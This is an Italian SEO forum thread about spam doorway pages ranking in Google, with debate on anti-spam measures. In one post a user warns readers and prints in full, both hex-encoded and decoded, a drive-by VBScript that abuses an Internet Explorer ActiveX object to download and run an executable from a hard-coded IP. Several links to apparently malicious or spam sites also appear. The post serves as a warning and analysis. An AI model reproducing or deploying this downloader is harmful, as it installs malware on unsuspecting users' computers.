[Spam-engine] Sveglia, Google!

everfluxx

Everfluxx quando ci si chiede cosa dovrebbe (o non) fare un motore si deve ragionare come un motore e non come un wm. Agoago, un motore non "ragiona". Un motore è un programma creato da persone. Io credo che gli ingegneri di Google si preoccupino molto di come "ragionano" utenti, webmaster e spammer, a seconda dei casi.

Pertanto un motore sa che un wm puo' comprare un sito anche se non scaduto e pertanto non e' obbligato a comprare solo siti scaduti.

Sa che un wm se vuole e ha soldi (da buttare o meno) fa prima a comprare un sito attivo piuttosto che aspettare o guerreggiare sugli avanzi altrui.
Non è detto che si debba "guerreggiare". E comunque si tratta di un processo automatizzabile con relativa facilità: per questo gli spammer di professione lo prediligono. E per questo si dice che Google presti una certa "attenzione" ai domini scaduti che vengono ri-registrati...

G e' in grado di valutare come meglio crede i passaggi dei .com, se attualmente non mette lo stesso impegno (investimento) per i .it significa che ad oggi non gli interessa la cosa.
...oppure che, al momento, non è tecnicamente in grado di farlo.

matteo

altri spamengine che vengono valutati spesso

concorsixtutti.it

fotoexpo.net

e un altro d'oltre-oceano

http://x1333952869.italianonews.info/x933024644/260537865

micky

oggi ho trovato altri spam engine con chiavi sicuramente più concorrenziali: davvero, sveglia google!!!

everfluxx

Attenzione: non cliccate sui risultati della SERP postata da Micky qui sopra (soprattutto se usate IE col supporto JavaScript e ActiveX abilitato)!

Quelle doorway effettuano un redirect verso altre pagine (su IP 195.225.176.34) che contengono questo script:

<Script Language="JavaScript">

var var10939103245=unescape('%3C%53%43%52%49%50%54%20%6C%61%6E%67%75%61%67%65%3D%22%56%42%53%63'+
'%72%69%70%74%22%3E%0D%0A%20%20%20%20%49%66%20%6E%61%76%69%67%61%74'+
'%6F%72%2E%61%70%70%4E%61%6D%65%3D%22%4D%69%63%72%6F%73%6F%66%74%20'+
'%49%6E%74%65%72%6E%65%74%20%45%78%70%6C%6F%72%65%72%22%20%54%68%65'+
'%6E%0D%0A%20%20%20%20%49%66%20%49%6E%53%74%72%28%6E%61%76%69%67%61'+
'%74%6F%72%2E%70%6C%61%74%66%6F%72%6D%2C%22%57%69%6E%33%32%22%29%20'+
'%3C%3E%20%30%20%20%54%68%65%6E%0D%0A%0D%0A%20%20%20%20%44%69%6D%20'+
'%4F%62%6A%5F%4E%61%6D%65%0D%0A%20%20%20%20%44%69%6D%20%4F%62%6A%5F'+
'%50%72%6F%67%0D%0A%20%20%20%20%0D%0A%20%20%20%20%73%65%74%20%6F%62'+
'%6A%5F%52%44%53%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74'+
'%65%45%6C%65%6D%65%6E%74%28%22%6F%62%6A%65%63%74%22%29%0D%0A%20%20'+
'%20%20%6F%62%6A%5F%52%44%53%2E%73%65%74%41%74%74%72%69%62%75%74%65'+
'%20%22%69%64%22%2C%20%22%6F%62%6A%5F%52%44%53%22%0D%0A%20%20%20%20'+
'%6F%62%6A%5F%52%44%53%2E%73%65%74%41%74%74%72%69%62%75%74%65%20%22'+
'%63%6C%61%73%73%69%64%22%2C%20%22%63%6C%73%69%64%3A%42%44%39%36%43'+
'%35%35%36%2D%36%35%41%33%2D%31%31%44%30%2D%39%38%33%41%2D%30%30%43'+
'%30%34%46%43%32%39%45%33%36%22%0D%0A%20%20%20%20%0D%0A%20%20%20%20'+
'%66%6E%20%3D%20%22%31%30%38%39%36%32%33%33%32%33%30%2E%65%78%65%22'+
'%0D%0A%20%20%20%20%4F%62%6A%5F%4E%61%6D%65%20%3D%20%22%53%22%20%26'+
'%20%22%68%22%20%26%20%22%65%22%20%26%20%22%6C%22%20%26%20%22%6C%22'+
'%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50%72%6F%67%20%3D%20%22'+
'%41%22%20%26%20%22%70%22%20%26%20%22%70%6C%22%20%26%20%22%69%22%20'+
'%26%20%22%63%61%22%20%26%20%22%74%69%22%20%26%20%22%6F%6E%22%20%20'+
'%20%20%0D%0A%20%20%20%20%73%65%74%20%6F%62%6A%5F%53%68%65%6C%6C%41'+
'%70%70%20%3D%20%6F%62%6A%5F%52%44%53%2E%43%72%65%61%74%65%4F%62%6A'+
'%65%63%74%28%4F%62%6A%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20%4F'+
'%62%6A%5F%50%72%6F%67%2C%22%22%29%0D%0A%20%20%20%20%53%65%74%20%6F'+
'%46%6F%6C%64%65%72%20%3D%20%6F%62%6A%5F%53%68%65%6C%6C%41%70%70%2E'+
'%4E%61%6D%65%53%70%61%63%65%28%32%30%29%0D%0A%20%20%20%20%53%65%74'+
'%20%6F%46%6F%6C%64%65%72%49%74%65%6D%3D%6F%46%6F%6C%64%65%72%2E%50'+
'%61%72%73%65%4E%61%6D%65%28%22%53%79%6D%62%6F%6C%2E%74%74%66%22%29'+
'%0D%0A%20%20%20%20%46%6F%6E%74%5F%50%61%74%68%5F%43%6F%6D%70%6F%6E'+
'%65%6E%74%73%3D%53%70%6C%69%74%28%6F%46%6F%6C%64%65%72%49%74%65%6D'+
'%2E%50%61%74%68%2C%22%5C%22%2C%2D%31%2C%31%29%0D%0A%20%20%20%20%57'+
'%69%6E%44%69%72%3D%20%46%6F%6E%74%5F%50%61%74%68%5F%43%6F%6D%70%6F'+
'%6E%65%6E%74%73%28%30%29%20%26%20%22%5C%22%20%26%20%20%46%6F%6E%74'+
'%5F%50%61%74%68%5F%43%6F%6D%70%6F%6E%65%6E%74%73%28%31%29%20%26%20'+
'%22%5C%22%0D%0A%20%20%20%20%66%6E%3D%57%69%6E%44%69%72%20%26%20%66'+
'%6E%0D%0A%20%20%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%4E%61%6D'+
'%65%20%3D%20%22%4D%69%22%20%26%20%22%63%72%22%20%26%20%22%6F%73%6F'+
'%66%74%22%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50%72%6F%67%20'+
'%3D%20%22%58%22%20%26%20%22%4D%22%20%26%20%22%4C%48%54%54%22%20%26'+
'%20%22%50%22%20%20%20%20%0D%0A%20%20%20%20%73%65%74%20%6F%62%6A%5F'+
'%6D%73%78%6D%6C%32%20%3D%20%43%72%65%61%74%65%4F%62%6A%65%63%74%28'+
'%4F%62%6A%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20%4F%62%6A%5F%50'+
'%72%6F%67%29%0D%0A%20%20%20%20%6F%62%6A%5F%6D%73%78%6D%6C%32%2E%6F'+
'%70%65%6E%20%22%47%22%20%26%20%22%45%22%20%26%20%22%54%22%2C%22%68'+
'%74%74%70%3A%2F%2F%31%39%35%2E%32%32%35%2E%31%37%36%2E%33%34%2F%75'+
'%73%65%72%32%2F%62%6F%6E%64%30%31%35%32%2F%73%65%72%76%69%63%65%33'+
'%32%2E%65%78%65%22%2C%46%61%6C%73%65%0D%0A%20%20%20%20%6F%62%6A%5F'+
'%6D%73%78%6D%6C%32%2E%73%65%6E%64%0D%0A%20%20%20%20%4F%6E%20%45%72'+
'%72%6F%72%20%52%65%73%75%6D%65%20%4E%65%78%74%0D%0A%20%20%20%20%0D'+
'%0A%20%20%20%20%4F%62%6A%5F%4E%61%6D%65%20%3D%20%22%41%44%22%20%26'+
'%20%22%4F%44%42%22%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50%72'+
'%6F%67%20%3D%20%22%53%74%22%20%26%20%22%72%65%61%22%20%26%20%22%6D'+
'%22%20%20%20%20%0D%0A%20%20%20%20%73%65%74%20%6F%62%6A%5F%61%64%6F'+
'%64%62%20%3D%20%6F%62%6A%5F%52%44%53%2E%43%72%65%61%74%65%4F%62%6A'+
'%65%63%74%28%4F%62%6A%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20%4F'+
'%62%6A%5F%50%72%6F%67%2C%22%22%29%0D%0A%20%20%20%20%49%66%20%45%72'+
'%72%2E%4E%75%6D%62%65%72%20%54%68%65%6E%0D%0A%20%20%20%20%0D%0A%20'+
'%20%20%20%4F%62%6A%5F%4E%61%6D%65%20%3D%20%22%53%22%20%26%20%22%63'+
'%22%20%26%20%22%72%69%70%74%22%20%26%20%22%69%6E%67%22%20%20%20%20'+
'%0D%0A%20%20%20%20%4F%62%6A%5F%50%72%6F%67%20%3D%20%22%46%22%20%26'+
'%20%22%69%22%20%26%20%22%6C%65%53%79%22%20%26%20%22%73%74%65%22%20'+
'%26%20%22%6D%4F%22%20%26%20%22%62%6A%65%63%74%22%20%20%20%20%0D%0A'+
'%20%20%20%20%53%65%74%20%6F%62%6A%5F%46%69%6C%65%53%79%73%3D%6F%62'+
'%6A%5F%52%44%53%2E%43%72%65%61%74%65%4F%62%6A%65%63%74%28%4F%62%6A'+
'%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20%4F%62%6A%5F%50%72%6F%67'+
'%2C%22%22%29%0D%0A%20%20%20%20%53%65%74%20%64%6F%77%6E%6C%6F%61%64'+
'%5F%66%69%6C%65%3D%6F%62%6A%5F%46%69%6C%65%53%79%73%2E%43%72%65%61'+
'%74%65%54%65%78%74%46%69%6C%65%28%66%6E%2C%20%54%52%55%45%29%0D%0A'+
'%20%20%20%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65%5F%73%69%7A%65'+
'%3D%4C%65%6E%42%28%58%4D%4C%42%6F%64%79%29%0D%0A%20%20%20%20%46%6F'+
'%72%20%69%3D%31%20%54%6F%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65'+
'%5F%73%69%7A%65%20%0D%0A%20%20%20%20%63%42%79%74%65%3D%4D%69%64%42'+
'%28%58%4D%4C%42%6F%64%79%2C%69%2C%31%29%0D%0A%20%20%20%20%42%79%74'+
'%65%43%6F%64%65%3D%41%73%63%42%28%63%42%79%74%65%29%0D%0A%20%20%20'+
'%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65%2E%57%72%69%74%65%28%43'+
'%68%72%28%42%79%74%65%43%6F%64%65%29%29%0D%0A%20%20%20%20%4E%65%78'+
'%74%0D%0A%20%20%20%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65%2E%43'+
'%6C%6F%73%65%0D%0A%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%4E%61'+
'%6D%65%20%3D%20%22%57%22%20%26%20%22%53%63%22%20%26%20%22%72%22%20'+
'%26%20%22%69%70%74%22%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50'+
'%72%6F%67%20%3D%20%22%53%68%22%20%26%20%22%65%22%20%26%20%22%6C%22'+
'%20%26%20%22%6C%22%20%20%20%20%0D%0A%20%20%20%20%53%65%74%20%20%6F'+
'%62%6A%5F%57%53%68%65%6C%6C%3D%6F%62%6A%5F%52%44%53%2E%43%72%65%61'+
'%74%65%4F%62%6A%65%63%74%28%4F%62%6A%5F%4E%61%6D%65%20%26%20%22%2E'+
'%22%20%26%20%4F%62%6A%5F%50%72%6F%67%2C%22%22%29%0D%0A%20%20%20%20'+
'%4F%6E%20%45%72%72%6F%72%20%52%65%73%75%6D%65%20%4E%65%78%74%0D%0A'+
'%20%20%20%20%6F%62%6A%5F%57%53%68%65%6C%6C%2E%52%75%6E%20%66%6E%2C'+
'%31%2C%46%41%4C%53%45%0D%0A%20%20%20%20%45%6C%73%65%0D%0A%20%20%20'+
'%20%6F%62%6A%5F%61%64%6F%64%62%2E%54%79%70%65%3D%31%0D%0A%20%20%20'+
'%20%6F%62%6A%5F%61%64%6F%64%62%2E%4F%70%65%6E%0D%0A%20%20%20%20%6F'+
'%62%6A%5F%61%64%6F%64%62%2E%57%72%69%74%65%28%6F%62%6A%5F%6D%73%78'+
'%6D%6C%32%2E%72%65%73%70%6F%6E%73%65%42%6F%64%79%29%0D%0A%20%20%20'+
'%20%6F%62%6A%5F%61%64%6F%64%62%2E%53%61%76%65%54%6F%46%69%6C%65%20'+
'%66%6E%2C%32%0D%0A%20%20%20%20%6F%62%6A%5F%53%68%65%6C%6C%41%70%70'+
'%2E%53%68%65%6C%6C%45%78%65%63%75%74%65%20%66%6E%0D%0A%20%20%20%20'+
'%45%6E%64%20%49%66%0D%0A%20%20%20%0D%0A%20%20%20%20%45%6E%64%20%49'+
'%66%0D%0A%20%20%20%20%45%6E%64%20%49%66%0D%0A%20%20%20%0D%0A%3C%2F'+
'%53%43%52%49%50%54%3E%0D%0A%0D%0A');
document.write(var10939103245);

</Script>
``` Il codice JavaScript, una volta decodificato con unescape(), si rivela essere un VBScript potenzialmente pericoloso, appositamente progettato per permettere il download e l'installazione di un dialer dallo stesso indirizzo IP, molto probabilmente sfruttando una vulnerabilità di Internet Explorer. Date un'occhiata al sorgente:

var var10939103245=unescape('<SCRIPT language="VBSc'+
'ript">
If navigat'+
'or.appName="Microsoft '+
'Internet Explorer" The'+
'n
If InStr(naviga'+
'tor.platform,"Win32") '+
'<> 0 Then

Dim '+

'Obj_Name
Dim Obj_'+
'Prog

set ob'+

'j_RDS = document.creat'+
'eElement("object")
'+
' obj_RDS.setAttribute'+
' "id", "obj_RDS"
'+
'obj_RDS.setAttribute "'+
'classid", "clsid:BD96C'+
'556-65A3-11D0-983A-00C'+
'04FC29E36"

'+

'fn = "10896233230.exe"'+
'
Obj_Name = "S" &'+
' "h" & "e" & "l" & "l"'+
'
Obj_Prog = "'+
'A" & "p" & "pl" & "i" '+
'& "ca" & "ti" & "on" '+
'
set obj_ShellA'+
'pp = obj_RDS.CreateObj'+
'ect(Obj_Name & "." & O'+
'bj_Prog,"")
Set o'+
'Folder = obj_ShellApp.'+
'NameSpace(20)
Set'+
' oFolderItem=oFolder.P'+
'arseName("Symbol.ttf")'+
'
Font_Path_Compon'+
'ents=Split(oFolderItem'+
'.Path,"",-1,1)
W'+
'inDir= Font_Path_Compo'+
'nents(0) & "" & Font'+
'_Path_Components(1) & '+
'""
fn=WinDir & f'+
'n

Obj_Nam'+

'e = "Mi" & "cr" & "oso'+
'ft"
Obj_Prog '+
'= "X" & "M" & "LHTT" &'+
' "P"
set obj_'+
'msxml2 = CreateObject('+
'Obj_Name & "." & Obj_P'+
'rog)
obj_msxml2.o'+
'pen "G" & "E" & "T","h'+
'ttp://195.225.176.34/u'+
'ser2/bond0152/service3'+
'2.exe",False
obj_'+
'msxml2.send
On Er'+
'ror Resume Next

'+
'
Obj_Name = "AD" &'+
' "ODB"
Obj_Pr'+
'og = "St" & "rea" & "m'+
'"
set obj_ado'+
'db = obj_RDS.CreateObj'+
'ect(Obj_Name & "." & O'+
'bj_Prog,"")
If Er'+
'r.Number Then

'+
' Obj_Name = "S" & "c'+
'" & "ript" & "ing" '+
'
Obj_Prog = "F" &'+
' "i" & "leSy" & "ste" '+
'& "mO" & "bject"
'+
' Set obj_FileSys=ob'+
'j_RDS.CreateObject(Obj'+
'_Name & "." & Obj_Prog'+
',"")
Set download'+
'_file=obj_FileSys.Crea'+
'teTextFile(fn, TRUE)
'+
' download_file_size'+
'=LenB(XMLBody)
Fo'+
'r i=1 To download_file'+
'_size
cByte=MidB'+
'(XMLBody,i,1)
Byt'+
'eCode=AscB(cByte)
'+
' download_file.Write(C'+
'hr(ByteCode))
Nex'+
't
download_file.C'+
'lose

Obj_Na'+

'me = "W" & "Sc" & "r" '+
'& "ipt"
Obj_P'+
'rog = "Sh" & "e" & "l"'+
' & "l"
Set o'+
'bj_WShell=obj_RDS.Crea'+
'teObject(Obj_Name & ".'+
'" & Obj_Prog,"")
'+
'On Error Resume Next
'+
' obj_WShell.Run fn,'+
'1,FALSE
Else
'+
' obj_adodb.Type=1
'+
' obj_adodb.Open
o'+
'bj_adodb.Write(obj_msx'+
'ml2.responseBody)
'+
' obj_adodb.SaveToFile '+
'fn,2
obj_ShellApp'+
'.ShellExecute fn
'+
'End If

End I'+

'f
End If

</'+
'SCRIPT>

');
document.write(var10939103245);

</Script>

BTW, qualcuno sa dirmi che razza di indirizzo è [questo](http://3286347810/)? (E' la prima volta che mi capita di vedere un URL in quel formato).

ale58

E' simile a questo?
Attenzione non aprite questo link (soprattutto se usate IE col supporto JavaScript e ActiveX abilitato)!

http : // 1-3 . tostodentro . org / italcraft /

Ciao Alessio

everfluxx

@Ale58 said:

E' simile a questo? No, quello è un'altra roba ancora. :-[

Non apritelo neanche con Firefox, senza un antivirus serio tipo Kaspersky o NOD32.

cibino

questo è spam?

desertstorm

Io non sarei cosi critico nei confronti di google.

ricordatevi che deve gestire miliardi di pagine e confrontarsi conmigliaia e migliaia di spammers.

pensate solo al vs sito: per quanto "piccolo", avrete almeno 10 cose che non vanno e andrebbero riviste, nonostante questo voi magari non siete in grado di far funzionare una cosa relativamente piccola....
ecco... pensate cosa vuol dire gestire miliardi di pagine...

Ricordate sempre che un seo intelligente non lavora per arrivare oggi in prima posizione, ma per restarci anche domani.
lasciate che gli spammer vivano i loro momenti di gloria... tanto è una cosa ciclica, ogni tot di mesi arrivano ondate di spam e regolarmente verranno decimate da google...

everfluxx

@Desertstorm said:

lasciate che gli spammer vivano i loro momenti di gloria... tanto è una cosa ciclica, ogni tot di mesi arrivano ondate di spam e regolarmente verranno decimate da google...

Il problema è che esistono spammer che spammano "ciclicamente" da anni, sfruttando le stesse tecniche.

ale58

Ci vorrebbe un collegio di SEO che:

riconosca determinate linee guida
a seguito di una votazione definisca l'attributo di spam a un determinato dominio
sia riconosciuti come "autorevole" da google
trasmetta i risultati a google in maniera automatica.

La segnalazione tramite sitemap è individuale e soggetta ad eventuali giochi di interessi.
La votazione del collegio a seguito di una proposta dovrebbe essere invece pubblica e quindi trasparente.

La segnalazione dovrebbe avere anche un leggero costo.

Questo forum potrebbe .... e lancio la palla a Giorgio......

Ciao a tutti
Alessio

everfluxx

Non sta ai SEO definire che cosa è "spam" e cosa non lo è.
A tal fine esistono le linee-guida dei motori di ricerca.

ellegi

@Ale58 said:

Ci vorrebbe un collegio di SEO che:

riconosca determinate linee guida
a seguito di una votazione definisca l'attributo di spam a un determinato dominio
sia riconosciuti come "autorevole" da google
trasmetta i risultati a google in maniera automatica.

La segnalazione tramite sitemap è individuale e soggetta ad eventuali giochi di interessi.
La votazione del collegio a seguito di una proposta dovrebbe essere invece pubblica e quindi trasparente.

La segnalazione dovrebbe avere anche un leggero costo.

Questo forum potrebbe .... e lancio la palla a Giorgio......

Ciao a tutti
Alessio

Sarebbe appunto interessante, fare tipo un sito per raccogliere tutti i siti di spam, come quelli che ultimamente girano con il trojan di linkoptimizer, e fare una coda di segnalazioni da parte di volontari, magari che devono semplicemente "prestare" il proprio ip per la segnalazione inviata in maniera semiautomatica (pigiando magari solo il submit della form)...
in questo modo con l'unione di molte persone è probabile che molti di questi network vengano segati più facilmente. Insomma creare una sorta di "blacklist" tipo spamcop ma fatto per le serp.
Se a qualcuno interessa (e se non esiste già) sarei disposto a collaborare per la creazione di un indice di spam simile.

desertstorm

@Ale58 said:

Ci vorrebbe un collegio di SEO che:

riconosca determinate linee guida
a seguito di una votazione definisca l'attributo di spam a un determinato dominio
sia riconosciuti come "autorevole" da google
trasmetta i risultati a google in maniera automatica.

La segnalazione tramite sitemap è individuale e soggetta ad eventuali giochi di interessi.
La votazione del collegio a seguito di una proposta dovrebbe essere invece pubblica e quindi trasparente.

La segnalazione dovrebbe avere anche un leggero costo.

Questo forum potrebbe .... e lancio la palla a Giorgio......

Ciao a tutti
Alessio

si.. lascia perdere... Dmoz qualcosa dovrebbe aver insegnato....

ale58

@Desertstorm said:

si.. lascia perdere... Dmoz qualcosa dovrebbe aver insegnato....

per questo dicevo che bisognerebbe che fosse un servizio a pagamento
Qualcuno ...... (google?) fiuterà il business
Saluti

everfluxx

Dove non arriva Google, arriva Giorgiotave.it:

http://www.google.it/search?q=palmari+okprezzi

Mitico.

giorgiotave

Spettacolo

Mi sembra che il sito di Okprezzi sia tornato su o sbaglio?

Sono felice

everfluxx

@Giorgiotave said:

Spettacolo

Mi sembra che il sito di Okprezzi sia tornato su o sbaglio?

Non sbagli, però in cima alla SERP c'è questo thread (#1 e #2). A volte questo forum mi fa un po' paura.

OK Prezzi è al #3 e #4.

A seguire, spam a volontà.

E in seconda pagina ci sono pure due SERP di Lycos. (Olé!)

everfluxx

Sembra che Google abbia fatto un po' di pulizia: OKPrezzi.it è tornato primo per la query "palmari okprezzi".

Gli spam-engine ci sono ancora, ma sono dalla 4a pagina in poi.

Forse è a questo che serve la cosiddetta "-30 penalty"?